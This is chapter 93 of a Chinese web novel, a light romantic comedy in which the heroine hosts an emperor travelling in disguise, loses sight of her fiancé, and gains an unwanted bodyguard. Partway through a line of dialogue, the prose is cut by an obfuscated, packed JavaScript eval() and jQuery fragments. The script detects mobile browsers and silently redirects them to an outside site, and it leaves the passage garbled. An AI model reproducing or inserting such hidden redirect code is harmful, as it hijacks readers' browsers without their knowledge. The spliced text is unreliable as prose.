93.日常访客
作品:《将军他想摆烂》 这次县考结束每位学子都在等放榜。苏樨和安琼、程携云及程沐雨复盘了一通回到花厅,准备找点水喝。难得今天晏玖没陪她上学,她因为情绪紧张复盘到头昏脑涨出来散散。
今天逍遥府有点安静,她权当是自己大脑被轰炸后的安宁。
隐隐哪里不对啊……
平常前院有这么多人守着?
自打晏玖来访后,逍遥府上下多了好多苏樨不认识的守卫,苏樨忙于学习后来也没花太多精力在认人上面。
她的脚步顿在花厅门槛上,花厅里坐着三个人:九王爷,玉衡小哥哥,还有……
苏樨觉得自己看花眼了,揉了揉眼睛,退出花厅盯着花厅上的匾额半天,确认了好几遍这是自家。她对上花厅里的三双眼睛,摇头,“不对劲,我学到出幻觉了?”
苏樨背过身,回到庭院,再退回到逍遥府大门口,“这是我家呀!”
姬玉衡随她走出,对着陷入自我怀疑的苏樨道:“这是你家。”
“这是我家,”苏樨把他拽进门,小声道:“我方才在花厅看见皇帝小哥哥和你们坐一起。”
姬玉衡敛起眉,“多久了,还皇帝小哥哥?”
苏樨撇了撇嘴,环住他的腰,“我心里想的都是你呀,正是因为想你,一回家发现自己连皇帝小哥哥都敢觊觎,我都被自己吓死了。”
姬玉衡低声道:“在外面呢,注意点。”
“不行,我小心脏还在扑通扑通跳,我想要你安慰。”
姬玉衡就无奈地任由她抱着,嘴上埋怨:“就你,吃了熊心豹子胆肖想别的男人,丝毫不将我放在眼里,你还想要安慰?”
苏樨讨好地赔笑,“我那不是肖想,我那只是……”
“你那只是好色。”
苏樨被姬玉衡推开,被掰过身子面朝花厅。
姬玉衡道:“你再好好看看。”
花厅门口,华昇正揣着手跟她打招呼,“苏姑娘,别来无恙。”
苏樨扬起眉,刚才她没看见华昇在这啊!
华昇似乎读出了她心中所想,慢慢说道:“方才咱家给主子安顿去了。”
苏樨笑道:“华总管,别来无恙。”
晏玖在花厅内大笑:“小可爱你再迷糊点连秀才都考不上了!”
苏樨对着花厅里地两张有点相似的容颜,尴尬地笑。
“苏姑娘,两年未见,真是大有长进。”景元帝开口道。
“陛下什么风把您吹来了?”苏樨连忙屁颠屁颠过去行礼。
景元帝慢悠悠地喝了一口茶,“嗯”了一声。
苏樨回头看着身后的姬玉衡,眨巴着那双晶晶亮的眼睛,满脸尽是疑惑。
姬玉衡淡淡道:“微服私访,体察民情。”
“那我要做什么吗?”苏樨诚恳地问道。
“就当客人招待。”姬玉衡露出了一个礼貌的微笑。
苏樨连忙点头哈腰,“陛下,您哪里是客人,您可是这天下的主人。主人,小的给您倒茶。”
“苏姑娘,眼下这是在你家,称呼朕为二爷即可。微服私访,不必行宫廷之礼。”
“是是是。”苏樨端了茶壶给去沏茶。
晏玖给她使了个眼色。
苏樨会意点头,“九爷,是是是。”
晏玖哈哈大笑。
白日里老爷子在院子里发了一大通脾气回牛头村去了,带走了几个丫鬟和家丁照顾他。晚饭时景元帝坐主位,晏玖和姬玉衡坐其次,再是苏樨和安琼。
安琼倒没有因景元帝的到来有多大的反应。而景元帝似乎也没追究安琼在此教书一事。
正要动筷时,松月心过来通传有位姑娘找苏樨。
苏樨奇怪。
松月心道:“能抱起她心上人的那个姑娘,说她来甫良镇落脚,恰巧我上街遇到了,就给领回来了。这两年他们游历各州,听见逍遥府的名字就笑,说这名头应该给她家宅子。”
苏樨听得眉目飞扬,姬玉衡幽幽道:“你很羡慕。”
苏樨站起身,“能见识我们国家的大好河山,肯定羡慕呀。”
“苏姑娘如此羡慕,不如一年给你换个地儿体验体验?”皇帝幽幽道。
苏樨还没意识到话里有话,姬玉衡在一旁直接拒绝,“不劳烦陛下如此费心了。”
“二爷,九爷,安先生,小哥哥,你们先吃。有朋自远方来,我带她下馆子去吃。”
晏玖道:“哎小可爱,记在姬玉衡账上么?我也去!”
在镇上最好的酒楼,晏玖对着才菜肴一顿点,飒姑娘和她心上人瞠目结舌。“苏姑娘,这也太破费了。”
晏玖道:“这哪跟哪,小可爱她家家心上人有钱,今日你们尽管敞开肚子吃,有什么喜欢的尽管点。不必客气。”
苏樨在一旁点头。
吃完苏樨去结账,晏玖道:“到底是小镇,这才吃了几个钱,太便宜姬玉衡了。”
又让飒姑娘惊了一呆。
夜晚,苏樨坐在烛火旁,手上的帖子都翻了好几遍,都没见她心上人爬窗来。
她披上外套,提着一盏烛灯,来到两院之间打开门,被眼前明晃晃的两把大刀吓得魂飞魄散。
“主子有令,姑娘也好,将军也好,需得守规矩。言行举止合乎礼数,不得逾矩。”一个侍卫面无表情地道。
苏樨好不容易回魂,露出一个干巴巴的笑容,“好的。”
侍卫道:“苏姑娘,主子在这里歇下了,刚才那一声嚎准给吵醒了。趁着主子还没怪罪下来,赶紧回去。”
苏樨摸了摸自己的小心脏,“那将军呢?”
“这,奴才就不知了。姑娘明日可问问将军。”
一顿白说,有用信息含量为零。
苏樨关上门,提着烛灯,带着一肚子疑问进入梦乡。
第二日,苏樨在花厅吃饭也没见着自己心心念念的心上人,景元帝、晏玖和安琼正同步地喝小米粥,吃小馒头。
苏樨在一旁坐下,露出一个谄媚的笑容,“二爷,吃得可还习惯?”
景元帝幽幽道:“住得还挺习惯。”
苏樨问道:“昨晚您住在这,将军在哪呢,怎么没见着他人呢?他昨晚去哪睡了?”
景元帝道:“我看他成日浪荡,不守礼节,不成体统,打发至军营修身养性了。孤男寡女整日腻在一起容易做出什么出格的事来,不如分隔两地,恪守礼教。苏姑娘你说是不是?”
苏樨一脸震惊,“那陛下的意思不会是,他得待到我们成亲那会才能回来?”
晏玖笑道:“小可爱,你这理解之意,科考堪忧啊!”
景元帝道:“既然苏姑娘这般期望,那我下旨?”
“别呀别呀……”苏樨无比后悔。
华昇在一旁道:“苏姑娘,二爷逗您呢。”
苏樨开开心心走了。没一会儿,她一脸郁闷地回来了,身后跟着咧着一口白牙傻乐的黝黑少年。
“见过三位主子,小的名叫孟礼,是将军派来保护苏姑娘的。”孟礼恭恭敬敬行了个礼。
苏樨的嘴巴都快瘪成拱桥了,“监视,这是明晃晃的监视!”
孟礼彬彬有礼地微笑,“将军说姑娘贪玩,生得美貌却不自知,容易遭贼人惦记,特意让小的随身保护苏姑娘,每日传信回大营
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877114|185600||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
报平安,并非监视。”
苏樨气得直吹额前的两根龙须刘海,“这是挪用公共资源,陛下,他为一己之私占用军资,快去罚他!”
景元帝摸了摸光洁的下巴,问道:“苏姑娘觉得该如何罚他?”
“让他解甲归田!”
“他能将功抵过,不必罚这么重。”
安琼在一旁好声提醒道:“樨樨可得注意言行,不然传信回大营当心他秋后算账。”
苏樨趴在桌子上欲哭无泪,沮丧颓败,“先生,他们都欺负我!”
晏玖道:“今日天暖风疏,我们去钓鱼如何?”
“可可可,”苏樨立刻来劲了,“让他一人干活,我们全员嗨去。正巧等放榜,我也静不下心来再看书。”
苏樨、晏玖、安琼和景元帝坐在河边钓鱼,一旁的侍卫已经清出了方圆一里的范围。
孟礼站在不远处的树下,心无旁骛地执行他的“保护任务”。
苏樨坐在最旁边,不时看看右手边的安琼,又朝晏玖和景元帝那边张望,一下子就无聊了。“九爷,太安静了,你要不唱歌来助助兴?”
“钓鱼如何唱歌?”安琼看着她不安分的样子。
苏樨道:“万一有鱼被悦耳动听的声音吸引,就上钩了。”
晏玖戳破她的小心思,“樨樨,你说的是鱼,还是你自己?”
苏樨叹气,再定定瞧着景元帝板正的身姿,尝试问道:“要不陛下来一曲?”
景元帝似笑非笑地看向她。
苏樨大言不惭,“这样,以后我就在族谱上写 ,苏樨一日与陛下钓鱼,闻陛下歌,犹闻天籁之音,醍醐灌顶。这后代子孙也能出去吹了。”
“与朕一同钓鱼不够出去吹的?”
苏樨抿起唇,认真地思考,最终得出一个结论,“还是陛下脑瓜子灵光,比车轱辘转得快。”
安琼差点笑出声来。
景元帝道:“苏姑娘既是立志要成为大晏第一女进士,用词可再斟酌斟酌。不然砸了安先生的招牌。”
安琼温吞吞道:“小民已习惯。”
苏樨想了一会儿,“陛下不愧是天之骄子、人中龙凤,比猴儿还精。”
景元帝默了片刻,道:“你还是闭嘴吧。”
苏樨哈哈大笑,“好好好。”
好好好,皇帝钓了五条鱼,晏玖和安琼钓了三条鱼,而苏樨,空军而归。
樨樨不嘻嘻了。
她眼巴巴瞅着安琼水桶里的鱼,“我后来也没说话,用的是和你们一样的鱼饵,我怎么就钓不上鱼?”
路过孟礼身旁时,苏樨道:“小孟,我要向你们将军告状,这些鱼都欺负我,让他回来给鱼塘填平了。”
皇帝在一旁幽幽道:“前头苏爱姑娘还为万民着想,这会儿就不想着劳民伤财了?”
苏樨就改口,“小孟,陛下说将军不忙时回来捉鱼,发放给附近百姓,恤民济世,流芳百世呢。”
孟礼应了一声“是”。
傍晚厨子烧了糖醋鱼,晏玖还让莫松送了两条过去。
在苏樨大快朵颐时,莫松回来禀报说老爷子大发雷霆,把那盘鱼给掀了。
苏樨很是不解:“为啥老爷子突然生气了?”
晏玖淡定地夹着鱼,“兴许他不喜欢吃鱼吧。”
苏樨表示,“你连你爹的喜好都不知,我要是老爷子我也生气。”但平时也没见老爷子对桌上的鱼发脾气啊?
安琼瞥了一眼景元帝。
晏玖道:“小可爱,你一边儿玩去。”
苏樨看皇帝小哥哥脸色不好看了,自觉说错话了,赶紧灰溜溜走了。

